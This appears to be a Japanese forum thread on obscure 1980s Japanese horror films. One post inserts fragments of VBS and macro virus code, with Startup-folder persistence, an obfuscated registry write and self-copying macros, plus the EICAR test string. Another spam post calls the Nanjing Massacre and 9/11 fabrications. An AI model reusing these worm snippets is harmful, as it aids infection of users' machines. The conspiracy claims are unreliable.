マイナーな邦画ホラーを語る ザ・80年代
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単独スレを立てるまでもないマイナーな邦画ホラー映画や
オリジナルホラービデオ作品群について語る総合スレです。
≪作品リスト≫
GUZOO 神に見捨てられしもの 妖女メロン キクロプス
デスパウダー バイオセラピー 代官山HORROR 餓鬼魂など 十年以上前にテレ東で夕方頃に放映した爆風スランプ出演の
「バトルヒーター」壮絶に詰まらなかった 「バイオセラピー」の中古ビデオが中古ビデオ屋で990円で売られていたが
買いか? <血液型O型の一般的な特徴>( すべて許していると調子にのってつけこんでくるぞ!! )
■その道の達人をコケにして安心しようとする。多数対少数のときだけやたら強気。才能ある人間を歪んだ目でしか見れない。
■顔が見えない相手に対しては毒舌かつ強気。面と向かった相手にはやたら弱気で人が言ったことにする ( 俺が言ったんじゃないんだけど、Aさんがあなたをアホかとバカかと… )
■場所が変わると手のひらを返すように態度が豹変する ( あの連中の中じゃヘコヘコさせられてきたが、うちに来たら見ていろ! 礼儀を教えてやるぜ。 )
■カッコイイ人に注目したがるが自分を磨こうとしない。なぜか、カッコイイ人は自分にソックリだと信じ込む
■読みが浅い。粘着に睨まれる事を言っておきながら関係ない人に振り向けようとする ( どうせ>>1さんはヒッキーでしょ? / 大阪人だってジサクジエンしてるぜ )
■早とちりが多く、誤爆と気付いても釈明できない。イイ人を装って忘れる ( そういう土地柄だったのさ )
■話題と関係ない個人攻撃で場の空気を陰険にする。次第に耐え切れなくなりあきれかえる。( どうなってるんだ? 間違ってる! )
■恩を貸してるように振舞うが、自分のためであるということを見抜かれる。それに気付いて恥ずかしさをごまかすために大袈裟にキレる。相手がキレると今度はビビる。
■似たもの同士でしか共感できないわりに人気者ぶる。
■人の真似を勝手にしておいてケチだけつけ、批判される所には現れない。自分が観察される側になると極度に焦る
■自分が企んでいるのに相手を悪人に仕立て上げ、己の為に餌食にする。攻撃を誘って自分の憎悪に酔いしれる。人の裏切りを許せないわりに自分の裏切りは覚えていない鈍感さ。
■世間に通用しないような事ばかり繰り返して自分に課した目標から逃げる。あげくに人のせいにして相手に伝わらない方法でキレる。
■半端な人生経験により集団的にばかり相手を気にする ( 君のような人はウチでは… / ○さんによく似てるから駄目だろうね… )
>>11
それってAVギャルの白石ひとみが出てる猟奇ホラーものだったっけ? >>12 そうだよ。 原作は中島らもの小説。 「花冷え」 「耳飢え」 をミックスしている。 アロマ企画が出した「猟奇エロチカ 肉だるま」観た(もしくはビデオ所有してる人)
人いる? オムニバス映画「危ない話」の黒沢清の担当した一編。 「地獄の警備員」はホラーとしてはアレだが「発狂する唇」なんぞより数段高級。 デスパウダーで自宅を爆破した泉谷に乾杯(駄作だけど) 「バイオセラピー」中古ビデオ屋で980円で売ってたけど、思い切って
買うべきか? マリアの胃袋しか見たことない…。「妖女伝説 セイレーン」は
有名すぎるか。 「アギ 鬼神の怒り」
リック ベイカーが絶賛したってのが売りだったけど、そんなたいしたもんじゃ
なかったような・・・ 黒沢清の「スウィートホーム」
公開規模は一般メジャー作品レベルの失敗作。
ビデオは投売りワゴンでよくみかける。 「代官山ワンダーランドHORROR」(87年)
4/27に彩プロからDVD初リリース! CONTON 獣神伝説
永井豪のこわいゾ〜ン 怪鬼
>>30
げげっ、そりゃびっくりだ! アマゾンで予約注文した「代官山ワンダーランドHORROR」の
発送メール今日届いた
商品到着は明日だ! >>17
「肉だるま」大昔に観た。
つかほとんど覚えてないんだけど、ゴアシーンは大した事なかったように思う。
でもAVなだけに本番シーンがあるので、それで妙に生々しく感じた。 OVAだが「LILY−CAT」はかなりグロくて怖かった。 >>36あれってグロなんだ?
勤務先のビデオ屋にずーっと置いてあって、気にはなってたんだけど観てなかった。
明日にでも観てみます。 「犬神家の一族」の二番煎じ的に東映で作られた
「犬神の怨霊」はホラーではなかったの?
見たかったけど当時小学生で怖くて見られなかったんだよ。
ビデオも出てないし、未だに内容が不明。
>>34 「餓鬼玉」題名は憶えてんだけど,それ以外全く思い出せない
どんなんだったっけ? >>39
これにとりつかれると大食漢になるというお話。 ホラー映画大ブームがピークに達した頃に製作された
網浜直子が出てるOV「妖怪天国」(86年米)って面白いのかな?
最近DVDが発売されたみたいだけど。 「犬神のたたり」は怖い映画だった。
箪笥が開いて、和服がヒューと家を飛ぶシーンは震えた。 金田一しりーずも悪くはないが、
幼稚園の時に妖怪博士と呼ばれたおいらからの一押しは
日本名作怪談劇場 いいねこのスレ。
俺的ナンバー1は『房総伝説・シリコガマ』
最後の方でシリコガマが背中に机をくくりつけた姿で池から
ザバーっと上がってくるシーンは発狂するかと思うほど恐かったよ。
>>41
低予算丸出しだけど面白いよ
ちゃんとグロいシーンもあるし
続編もあったけどそれはツマラナかった、個人的には
ちなみに監督は今テレビアニメ「ブラックジャック」の監督をしてる手塚眞 「GUZOO 神に見捨てられしもの」
中古ビデオが200円で売られてたので買って観てみました。
・・・見所はスプラッターシーンくらいですか。
あ、モンスターの造形や動きもまあまあだったかな。
しかし肝心のストーリーがなんともお粗末。(なんだよ、最後の亀は!)
出演俳優の演技も大根。(ホントに役者?、ひょっとしてモデルかAV女優?)
当時はどんな評価だったのかなぁ。
スプラッター・ムービーが全盛の頃だったから、
血みどろ場面があればそれでOKだったのか?。
製作した「Vゾーン(当時あったホラー専門誌)」って、
たしか1年くらいで休刊しちゃいましたっけ?。
内容が薄くて、読みたいような記事が少なかったことは憶えてます。 △
(=゚ω゚)ノシ 幽霊になったぃょぅ
( x)
)ノ
) 本当にあった!! 都市伝説
( 怪談百物語
稲川淳二の超こわい話スペシャル
などが、簡単メール登録をするだけで無料で見放題!!。
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怪談、都市伝説、妖怪…、怖い話でヒンヤリ お盆特集ページ
http://www.gyao.jp/variety/obontokusyuu/
パソコンテレビ GyaO [ギャオ] 無料動画
http://www.gyao.jp/ 南田洋子と売れないアイドル3人組が出てた
ホラー映画。夏休みの旅先の宿が舞台だったような・・・
>>51
なんかあったな〜、たしかにそんなのが・・・
最初「ハウス」かと思ったけど、もちろん違うよね
>売れないアイドル3人組
ひょっとしたらパンジー?
北原佐和子とかいたっけ? 中川信夫の遺作「生きてゐる小平次」はどうなんだい? >>53
あれは良い作品ですよ・・
中川監督生誕100年なので東京なら上映されるかも
>>55
「獣神伝説」観たことあるよ
レンタル落ちのテープを買ったんだけど、
あまりにツマラナかったんですぐ消してしまったw
夢が現実に侵食されるとかいうストーリーは一応あるものの、
正直なんだか分からなかったなぁ
おそらく自主制作された映画をパッケージ化したもんなんだろう
全てが素人丸出しで観るに耐えなかったよ
特殊メイクの見せ場はちょっぴりあったけど 諸星大二郎原作「ヒルコ」
ジュリーコワイヨ ジュリー >>51
夏の秘密とかいう感じのタイトルの映画だろう。
小林久三原作だったような気がする >>59
それだ!
たしか当時の「ロードショー」で紹介されてたの憶えてるぞ!w
そういや北原佐和子って、まだしぶとく生き残ってるなぁ SABU主演
「ワールドアパートメント・ホラー」
なんかどう?
俺は好きだが・・・
ただこれホラーコメディーだから一つも怖くないが(w 数年前に藤田まことの舞台を見に行ったら、35歳の北原佐和子が
町娘役をやっていてクラクラした。
しかも兄役の俳優のほうが年下。 >>58
「ヒルコ」もありなら
「鉄男」
もありかな?
80年代って限定されると意外と語れるものが少ないよね
>>61
それ大友克弘が関わってるヤツだっけ?
未見、面白い?
>>62
今でも可愛いからいいんじゃない?w
>>63
「鉄男」はかなり後になってから観たんだけどかなり衝撃的だった
まあきったねぇというかグッチャグチャというか、あまりの映像の凄まじさに
圧倒されて、どういう話だったか全く覚えていないw >>64
そう大友監督作品
ストーリーはSABU扮するヤクザが地上げをする為に住みついた
東京のワールド・ぼろアパート(貧乏な外人しか住んでない(w)
あまり日本語も通じない環境でヤクザ悪戦苦闘!
なんか、だんだん住人達と仲良くなっていく(w
しかし、奇怪な現象が・・・
因みにテーマ曲は「東京ブギウギ」(力抜けるんだわ)
(そう多くを求めないで)笑わさせてもらいましょう!
て〜気で見ればかなり面白いと思う。 初期の今平みたいなものを狙っていたようだが、大友の場合あの絵柄が無いとひねったようでいてその実ステロタイプな台詞がキツイ。 >>29さんの言われるような、
投売りのワゴンのお店って、どこらへんにありますか?
住まいは都内です。
ご存知の方いらしたら教えてください!
お願いします(o*。_。)oペコッ >>68
ヤフオクで探したほうが早いのでは?
それにしても「スウィートホーム」がDVD化できないのはなんでだっけ?
やっぱり権利関係? >>69
>ヤフオクで探したほうが早いのでは?
そですね。。。どうもありがとう。
ところがクレカが使えないのと、オークションのシステムがよくわからず、
困ってます。
勉強不足ですみませんです・・・ >>69
亀レスでなんだが、未だに黒沢監督と伊丹プロが権利関係で
揉めているためとか・・・
・・・という記事が秘宝にあったよw 最近、国内でDVD化されていないビデオを漁り始めたよ。
「スウィートホーム」と「女優霊」、今度は「ファンハウス」と「フロムビヨンド」を買おうと思う。 GYAOで地獄の警備員やってるな
ロッカーに閉じ込めて丸ごとスクラップにするのは凄いわw
まぁ92年の作品だからスレ違いかもしれんが、バブル全盛期の頃っぽい話だから許してくれ
>>77
ミステリーでもある程度怖ければ語るのもアリだろ
金田一シリーズだって怖いしな >>78
金田一シリーズってのは映画版の話をしてるのか?
石坂のも他のヤツも怖いと思った事は無いが。
予告編は確かにホラーっぽく作ってるし渥美版八つ墓村
なんかは文字通りオカルトだけど、それでも怖くは無い。
ミステリーとホラーは違うよ。確かに混じってるのはあるが
それは根っこがホラー映画の場合だ。根っこがミステリーで
ホラーなんて代物は存在し得ない。
もし、あるんなら例示してくれ。後学のため参考にしたい。 >ミステリーでもある程度怖ければ語るのもアリだろ
>金田一シリーズだって怖いしな
ミステリーとホラーが一緒だなんて一言も書いてないわけだが
怖い怖くないはお前の感性だからどーでもいいが、文章くらいちゃんと読もうよ それと後学のためにだなんて偉そうなこと言ってるが、お前は人の価値観を認めることを少しは学んだほうがいい
そんなの2chじゃ通じても実社会じゃ全く相手にされないぞ
映画の本数ばかり積み重ねて人生の経験値を全く積み重ねないんじゃ駄目だろう まぁホラースレでミステリーのタイトルを出した俺も悪かったけどな
スレ汚しスマソ ドグラ・マグラって解剖シーンみたいなのあるらしいけど、ホラーで良いの? ホラーというよりカルト映画?
アート系異常心理モノ?
んーうまく言えないけど…
シュヴァンクマイエルとか好きなら、いけるとオモ >>84
解剖たって、本当に解剖するわけじゃないんですかね?
つまり、グロシーンは無いと思って良いのかな? なんだ、このスレの伸びなさ…
やっぱ日本のホラーはあかんなぁ。 いわゆるJホラーの起源は90年代前半だから仕方がない。 スプラッター描写がいまいち足りないんだよね。
別にそれすりゃ良いってもんでもないと思うが、想像に任せすぎな所大杉。
関心の見せ場で、それやっちゃうからなぁ、意味無いじゃんとw
海外のは、いくら内容がクソでも、一応は全て描くからな。 Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)))
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub
???????
kak\.hta\';\ken=\wd+'\START 妖女伝説 セイレーン
当時まだ渡辺美奈代のファンだったので何も考えずに観た。
結果つまらん!と思った AVで怖いのが結構あったんだよなあ。
目的が違ったから題名思い出せないんだけど、女優と男優のカラミをスタッフが
編集してると部屋の隅にもうひとり変な顔の女が写ってる実話心霊テイストの
やつと、ドラマ仕立てなんだけどアベックが深夜、車を運転中、変な光が車内を
通り過ぎた後、Hしてると亡霊があらわれるやつ、妙に陰残で、ビデオ撮りの
画面が生生しさを倍化させてて、一人暮らしだったその頃、見たことを後悔した。
全く手掛かりがないうえ、有名女優の主演作でもなかったから、DVD再発など
あり得ないだろうし、もう一回見てトラウマを克服したいのだが・・・。 BLACK ROOMとか赤い猫れびゅ〜の部屋ってサイトに邦画ホラーがたくさん紹介されてるよ。 80年代のスプラッター系邦画ホラーって、マジで黒歴史になっておりますな。 にっかつの「美女のはらわた」…なんて未だに覚えている俺キモイ、肝杉 「美女のはらわた」検索したら動画観れたけど・・・
ロシア語でちんぷんかんぷんでした。 「LDS」網浜直子と佐野史朗のキチガイの映画は怖かった 100ラッキースカイダイアモンド
いや、あれは退屈なしろもんだっただよ
ヌーウエイブ感が当時でも恥ずかしかった 網浜の物凄い絶叫演技が嫌だったな<LSD。面白いつまらないの範囲を超えて
純粋に嫌な感じだった。 LSDは見た後暗くなったし、気分悪くなりました(-_-#)
佐野史朗怖すぎる…
今日、赤い報告書 鮮血の天使を手に入れたぜ。
でもビデオが見れん・・・ 段ボール被ってデップで髪を逆立てた佐野史朗に思わず「プ」となったのは俺だけではあるまい。
悪魔のいけにえやろうぜ!なホラーな試みだったんだろうけど時代が悪かったというべきか・・・
冒頭の誘拐シーンだけは一瞬の悪夢のようで良かった。
が、そこと段ボール佐野しか脳が覚えていない。
「死霊の罠」 小野みゆき、本間優二、島田紳助
適度にエロいしグロいし怖い。
けっこう良く出来たホラー映画だと思う
本間優二をこれで初めて知った
また見たいな 「死霊の罠」はメジャースプラッターだよね。
出来は80年代邦画ホラーではTOP3に入ると思うけど。 小野みゆきがかなり良かった記憶がある。
続編が「死霊の罠2・ヒデキ」だっけか。
これまた佐野史郎。この時期はB級ホラーに出まくってたな。 >>109 >>110
死霊の罠はメジャーなのですか。スレ違い失礼しましたー
周辺で語り合えるひともいなかったのでわかりませんでした
ここで反応あっただけでも個人的に嬉しいです
DVD出てたら買うのに 「死霊の罠」DVD出てますよ。
国内盤ではパート1しか出てないけど、輸入盤なら1と2両方出ていますよ。
>>112
「死霊の罠」DVD
教えてくれてありがとう〜
さっそくアマゾソでぽちっとしてきた _____
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http://www3.nhk.or.jp/news/2008/01/05/d20080105000129.html
>逮捕されたのは都内の16歳の高校2年生の少年で、調べに対して「誰でもいいから皆殺しにしたかった」などと供述しているということです。
>両手に包丁を1本ずつ持ち、「殺してやる」と叫びながら次々に切りつけたということで、取り押さえられたとき、ブーツの中からもう1本
>包丁が見つかりました。
「八つ墓村」じゃないんだから・・・品川区の、どこの高校の生徒なんでしょうねえ
「処女のはらわた」のガイラが監督したオリジナルビデオで
「バトルガール」って誰か観たことある? 観た、っていうか中古ビデオ持ってる
昔々に初見した時は、あまりの低予算丸出しっぷりに
「しょ〜もない」という感想しか持てなかったのだが
今観ると不思議と愛しささえ感じる
口が裂けても面白いとは言いがたいけど、
金掛けられなかった分、魂だけは込められてるって感じかな
キューティー鈴木は可愛い
出淵裕デザインのバトルスーツはイカす
ゾンビに生きたまま喰い殺される大槻ケンヂもイカす その手のヒロインものってあんまり成功例がない。
室賀厚の「ジャンク」とかいうのはゾンビものらしいけど(90年代だし)面白いのかね。 バトルヒロイン+ホラーテイストならゼイラムは良かったと思うが ほれ、永井豪のオムニバスのなんだっけ。
ホラーかと思ってたらエロシーンが始まってみんな喜んだ。 今晩はデイ・オブ・ザ・デッド観に行くか、それとも昨日エロDVD屋で100円で
ゲットしてきたバトルガールを観るか迷ってる。
ちなみにバトルガールでカズ役を演じた女優“早瀬恵子″(緑のカツラを被ってる)
は成嶋涼という芸名に変えてユニバーサルスタジオジャパンのアトラクション
ターミネーター2:3−Dでサラ・コナー役を演じてる。 >>120
レンタルで観たなあ。ゾンビ物だっけか。
当時PCゲームとタイアップしてたはず。FM-TOWNSだった。
けっこう楽しみにしてたんだが、結局ゲームは出なかった・・・。 >>126
「永井豪の怖いゾ〜ン」だったっけ?
たしか2本あったような気がする
永井豪が監督したパートはしょーもなかったが、
早川光のパートは面白かった記憶がある 永井豪はドス竜もひどかった。
現場ではほとんど助監督まかせだったというし。
うん、たしかに「ドス竜」も酷かったね
そういえば、キューティー鈴木と大槻ケンヂは
「バトルガール」にも「ドス竜」にも出てるなぁ
両名とも頼まれると、どんなクソみたいな作品でも
断れないタイプなんだろうか?www キューティーは断れない性格なんだろうけど
大槻はカルト通ぶってるだけだろ >>132
大槻は嫌いじゃないが演技の巧拙以前に映画やドラマとの相性が良くない。
本人も向いてないとわかっているようだが。 >>134
なんとなく分かる
映画やドラマじゃ明らかに浮いてるもんなぁ 大槻が左とん平のヘイユウブルースをカバーしたとき
自分では本気で熱唱しているつもりだったのにゲスト参加のとん平氏が歌い始めた瞬間その「本気さ」に圧倒されたという。
同様に、わりとあちこちで重宝されている(役者としての)ピエール瀧に対しても大槻と似たようなものを感じる。
本人は真面目にやってるつもりでも(ナメていようとも同じことだが)声に「本気じゃなさ」が漂ってしまうのだ。
自意識や客観性が強いとかそういう問題なのだろうか。 スレチかもしれんが、石神井のビデオ屋で、ジャンクやギニー・ピッグ3、4と餓鬼魂やラッキースカイダイヤモンドが売ってた
どれも1500円以上だったが買った方がよかったのかな?
ゾンビ自衛隊とバトルガール
さてどっちが面白いだろうか? あれはウンコじゃなかろうか。
映画的な興奮がなに一つ無い。
彼は映画監督じゃなく商売人が本分の人間だと思いますが如何でしょうか。 キクロプス、バイオセラピー、デスパウダー、モモコワンダーランドとかググってもあんま情報がでてこないな
マイナーかどうかは別として 「仄暗い水の底から」・・・
似たような事件が、現実に起きてしまった!
【社会】 イオン系「ショッピングセンター・マーム」の受水槽に遺体(約1ヶ月前からの不明者)。営業停止する店も…三重★12
http://mamono.2ch.net/test/read.cgi/newsplus/1228140641/ TARO!TOKYO魔界大戦が吉祥寺で100円だったから買ったが、あれはホラーなのか...? 最近のマイナーな邦画ホラーだけど「ゾンビ自衛隊」って面白い? >>150
つまらない。実録外伝ゾンビ極道は少し面白い。 >>150
あのVシネは“みひろ”ちゃんが出演してるのが唯一の救い タイトルアルファベットだがな・・・
前期の社会派よりは最近の異常性愛エログロ路線
っぽいが。 なにげに
郷ひろみと小野みゆきの『聖女伝説』が面白かった >>157
そうか
とは言っても俺はブックオフで売ってた3しか見たことないが 邪願霊か!
あるサイトで絶賛してるのを読んでから見たくて仕方ない。 そういえばデスパウダーが売ってたよ
めっちゃ感動して値段見たら1980円だったから手は出さないがw 怪談せむし男のモデルは初島の小松真也
一生を女に飢えてたが醜いので受け入れてもらえなかった ぶったぎりスマナイ!
たぶん1950年代か1960年代あたりの邦画で、
主人公:剣道部主将
夏合宿中顧問不在中に同輩・後輩が海でサボる。
統率を取れない責任を感じて自殺してしまう青春映画。
15年くらい前に深夜枠で見た…最近急に思い出しもう一度観たいがタイトルも何も分からず、
諸兄らに心当たりをお願いします。 >>174
ありがとう。
これこれ、早速原作とDVD購入します。
再々>>174に感謝します、ありがとう。 おー、このスレまだあったのね
俺が最後に書き込んだのはもう2年半前か・・・
80年代の邦画ホラーで個人的に強烈な印象が残っているのは、
「にっかつロマンポルノ」末期の作品「処女のはらわた」
木築沙絵子は可愛かった
萩尾なおみは物凄い怪演だった
しかし未だにDVD化されないのね、悲しい 少女Mが出演してる若松孝二の最高傑作って
タイトルなんだったっけ? >>179
スクラップ・ストーリー ある愛の物語
凄い内容の話だが別にホラーじゃないような
そういやコレもDVD化は不可能か 「オーガズム真理子」ってスプラッターポルノもあったな。
生理になるとヤった男を殺したくなる変態殺人女の話。
脚本は例によって「暴行切裂ジャック」の桂千穂。 死霊の罠
(1988年 ジャパン・ホーム・ビデオ=ディレクターズ・カンパニー 提携作品)
石井隆の絶望感に満ちた脚本と池田敏春による粘着質の演出が光る傑作
DVDは発売されているが、フィルムがジャンクされてしまったため、
ビデオテープをマスターにしているらしく、画質が悪いのが残念 教えて欲しいんだが、変な洋館にたどり着いて灯篭倒しちゃってお化け屋敷になっちゃって管理人の酒飲み爺さんがお前らのせいだ!っていう映画知らないか? >>184
伊丹十三 製作総指揮
黒沢清 監督の
「スウィートホーム 」じゃないですかね? >>181
見てみたいと思ったが、アマゾンの中古ビデオの価格は17,500円だった。
無理だ・・・。 80年代に演技派AV女優の前原祐子が、
脇役で出てるホラーがあったような気がしてたんだけど…
調べても出てこないな。
オレの勘違い、または死霊の罠の出演者と混同しちゃってたのかな?
女性が、暗い部屋に拘束された女友達を助けようとして、
ドアから踏み出したらトラップ仕掛けられてて、
斧か何かで顔が真っ二つにされるのが、死霊の罠だっけ?
当時のレンタルビデオ一回きりの視聴だから、あんまり覚えてない…
>>187
>女性が、暗い部屋に拘束された女友達を助けようとして、
>ドアから踏み出したらトラップ仕掛けられてて、
>斧か何かで顔が真っ二つにされるのが、死霊の罠だっけ?
「死霊の罠」で間違いないです。
小野みゆきが桂木文を助けようとしてドアを開けると、
トラップのボウガンが発射。
文は辛うじてそれを避けるも、みゆきが文に近づいた際、
二つ目のトラップが発動し文の顔面をナタが直撃する。
この映画最高の名シーンですね(笑)。
ちなみに本作品に出演しているAV女優は、
小林ひとみと中川えり子です。
小林ひとみが思っていたより小柄で可愛かったです(笑)。 >>188 サンクス
そうそう、二重のトラップだから嫌でも引っ掛かるんだよね^^;
しかし、顔面真っ二つ(切断面でズレる)は、桂木文だったのかぁ…
TVの「翔んだカップル」で、あれほどの美女子高生だったアイドルが…
>>189
桂木文って、その美貌にもかかわらず作品には恵まれてなかったですね。
結局、彼女の魅力が最大限に生かされていた
「翔んだカップル」が代表作と呼べるんじゃないでしょうか?。
閑話休題。
80年代のマイナー邦画ホラー繋がりで言えば、
彼女の主演作で
「プリティ・ボディ フランケンシュタインの恋 (1988年 大映)」
というオリジナルビデオ作品がありました。
ファンタジー、ミュージカル、血みどろのスプラッターといった要素が
絶妙なバランスで盛り込まれている怪作です。
もちろんDVD化されているわけがありません(笑)。 スウィートホームとオールナイトロング1は105円くらいで買ったな
あと餓鬼魂と妖女メロン、オールナイトロング3、東京魔界大戦とかは持ってるが死霊の罠も買っとくべきだったな
西荻窪にマイナーホラーがけっこう置いてあるビデオ屋があるがいつまで続くかな 桂木文って奇形とかって海老名香代子に言われていじめられてたってホント?
ひどいね オールナイトロングのVHSの裏に書いてある
監督らしい人物のメッセージがぶっ飛んでるなw
あれの第一作は、割と勧善懲悪的で結構好きだったな。 何となく酒鬼薔薇を彷彿とさせる文なんだよなw
オールナイトロング3で主演の北川悠仁も結構ぶっとんでて一人で見てて怖かったな。ゆずの時と真逆だしw オールナイトロング
1作目と2作目は「窮鼠猫を咬む」的物語で、
社会的弱者である主人公たちに感情移入ができたし、
どちらも割と好きだった。
でも3作目は個人的にダメだった。
主人公が登場した瞬間からイっちゃってるヤツなので、
どんな残虐な行動をしても
「こんな変態なら、このくらい平気でやるだろう」
みたいな冷めた目で観てしまった。
主役の変態が北川悠仁だったことを知ったのはかなり後のこと。 96年ごろのキネ旬で、当時の若手俳優の特集をやっていたんだけど
北川悠仁も「怪優としてきっと大成する」みたいな事が書かれていたなあw
監督の次回作も岡倉天心の伝記映画らしいから、時代の流れを感じる。
永井豪のこわいゾーン 怪鬼 (1989)
「鬼餓」永井豪監督作品
恋人に振られたことが原因で過剰なダイエットを始める女の娘、だがある日・・・
まぁなんつーか、観終わった後テレビに物を投げつけたくなるようなデキでした
監督やスタッフはさぞ楽しかったんだと思いますが観てるほうは・・・
本筋に関係なく、ミイラ男やらゾンビやらが主人公の家の外をウロウロしてるんですが、
ダイナミック・プロのスタッフ(石川賢、風忍など)や監督の友人達(高千穂遙、川又千秋など)
だったようです、全然誰だか分からないけどw
「よみがえる闇」早川光監督作品
人里離れた夫の実家で若妻は不気味な「あかずの間」があることに気が付く・・・
「アギ鬼神の怒り」で一部に有名な早川光の作品
全編モノクロで撮影されており、こだわりの構図やカメラワークが冴え
なかなかホラー映画としての雰囲気は出てます
でもオチがなんだかなーって感じだったのがちょっと残念
早川監督は現在エッセイストや漫画の原作者、そしてグルメ評論家として活躍してるみたいですが、
またホラー映画の監督として復帰して欲しいものです 。
0年代の最恐映画といえばやっぱり「海と毒薬」ではないでしょうか。
マイナーな映画ではありませんし、
ジャンル的にはもちろんホラーでもありません。
むしろ「ベルリン映画祭銀熊賞(審査員特別賞)」を受賞している名画です。
内容も太平洋戦争中、米軍の捕虜を生体実験で解剖した実話に基づく
遠藤周作の原作を映画化したものですから、常識から言えば
人間の原罪を問う社会派映画の問題作以外の何ものでもありません。
でも、本当に恐いんですよ。
例えば、オペの失敗からとめどなく出血して輸血が追いつかず、
そのまま血圧が低下して患者が死に至る手術シーン。
これ、言葉で説明してもそのシーンの怖さがうまく表現できません。
モノクロの映像がショッキングさをより際立たせています。 >>202
0年代って・・・
80年代の間違いだな 中古ビデオ店で「妖女メロン」「LSD」をそれぞれ100円で買ったけど、
何となく地雷っぽさが漂ってる・・・
時間のあるときに是非観てみて下さい。 → http://www.youtube.com/watch?v=zWPAktCuzK4
ネットの中では、「マスコミが真実を伝えない」ということは周知の事実で、
「9.11」「パールハーバー」「南京大虐殺」「3.11」・・の捏造はかなり知られて来ました。
知っているという人も断片しか知らない人がほとんどだと思います。
このシリーズは、それらの「本筋」を非常に分かり易く表しています。
一切の先入観を持たずに観ることをお勧めします。 >>211
イリュージョンのタネ明しして得意になってるなんて下種な野郎だな 追悼のざわめき小さなゲオにはあったがTSUTAYAにはなかった GUZOO LSD 死霊の罠 スウィートホーム バイオセラピー キクロプス買ったけどまだ見てないなあ
大体が俺が生まれる1991年より前の作品だw
どういう時代だったんだろう 新しい情報を見る度に昔見たオールナイトロング2って言うヤなVシネマ思い出すわ 時代感覚が出てる作品という意味ではLSDと死霊の罠かな。
国産ホラーが腐るほど出てたビデオバブルの中では良作じゃないかと。
つうか他の作品見てないわ。 小さい頃住んでいた田舎に先生として戻ってきて、
当時イジメで列車事故に見せかけて殺された少女の怨霊に濡れ衣みたいなので
自身も列車事故で殺される映画は何ですか。90年代かもしれませんが。
家族と犬が毛を毟り取られて半狂乱の後に怪死するやつ。 まだこのスレあったのね。
俺は2年に一回のペースで書き込んでるわ。
ギリギリ80年代じゃないんだけど、
「ヒルコ/妖怪ハンター」は今でも好きな作品だ。
今現在も傑作・怪作を撮り続けている塚本監督だけど、
田舎を舞台にしたどこか牧歌的な伝記ホラーというのは、
後にも先にもこれ一本。
DVDは出てるけど、中古でもアホみたいに高いのが残念。 >>229
>「ヒルコ/妖怪ハンター」
塚本さん自身は「周りが本編のベテランスタッフばかりで自分の意見が
通らなくて懲りた」と言ってるねw
だから後は本編系のベテランみたいな人とは余り組まなくなった。 >>230
レスありがとう。
レスもらえるとは思っていなかったので嬉しいです。
>塚本さん自身は「周りが本編のベテランスタッフばかりで自分の意見が
>通らなくて懲りた」と言ってるねw
なるほど、そういう事情がありましたか。
でも出来れば「ヒルコ」みたいな作品をまた撮って欲しいものです。
どうでもいいことですが自分の投稿を訂正
伝記×→伝奇○ 餓鬼魂、久々見たくなって尼見たらDVDプレ値で手が出ん、あんなのヤフヲクのVHS500円が相場だろw 昔見た「フローズン・ナイト」って映画(ビデオ作品?)がもう一回見てみたい。
左とん平扮するタクシー運転手が、乗り込んできた薄気味悪い女性客に
ビビリまくるが・・・ってなお話で、ラストの意外なオチが印象に残ってる。 >>233
「フローズン・ナイト」は、昔はあちこちでレンタル落ちVHSを見かけたけど
最近は中古VHS自体をあまり見かけなくなったからな…
これはVシネではなくフジテレビで放送された「世にも奇妙な物語」のパイロット版みたいな
タクシー運転手の話をオープニングとエピローグに挟んだオムニバス形式のTVドラマだった
おそらく映画版「トワイライト・ゾーン」からヒントを得た構成なのかな?
特に第一話のレンタルビデオ店で奇妙なビデオを借りる話が怖くて面白かったな 「フローズン・ナイト」に関連して書いておきたくなった
テレビドラマだからスレ違いになるけど、同時期にテレ朝の深夜に放送した
「不思議な幻燈館」という一話完結の恐怖ドラマがすっごい怖いらしい
見たことないけど見た人から話聞くとかなりヤバくて怖そうだからDVD出してほしい
「不思議な幻燈館」にもレンタルビデオでヤバいビデオを借りてしまう話があって
たまたま借りたレンタルビデオにスナッフビデオらしき殺人映像がダビングされていて…
というエピソードを深夜に見てしまいトラウマ状態になったという話を
聞いて以来このシリーズが見たくてたまらない
他にも、主人公が家政婦のアルバイトに来た家でそこの住人が
人肉を食べてるらしい痕跡を見つけて…という話とか
病的なストーカーが地下室に女を監禁する話とか、最近のドラマで言えば
「トリハダ」に近いのだろうか?かなり不気味で怖くて後味の悪い
エピソードが多いドラマだったと聞いている テレビドラマの話を書いてスレ違いになってしまったので映画の話題も書いておく
といってもVシネなのだが、永井豪の漫画を原作にした
「永井豪のホラー劇場」というVシネのシリーズで
「マネキン」「霧加神」の2本を大昔にレンタルビデオで見て以来、妙な愛着がある
正直言ってストーリーはありきたり、演出のテンポはかったるいし、残酷描写も大したことなくて
あまり怖くも気持ち悪くもない凡作なんだけど、どういう訳か嫌いになれない
怖そうなジャケットにさんざん期待させられて、いざ見てみたら
あれっこんなもん?…という肩透かしな思い出が今となっては懐かしさを感じる 懐かしいな、「不思議な幻燈館」
話はもう全然覚えてないんだけど
なぜか何度も設楽りさ子が主演してたことだけは妙に記憶に残ってる。 80年よりもっともっと前ので、
妖術武芸帳ってのがあった〜!
”そも妖術とは心の技
深く静まれば万人その掌中にあり
むにせんか天を読み風を嗅ぎ,地の音を聞く
森羅万象おのが意のまま
げに恐るべし恐るべし”
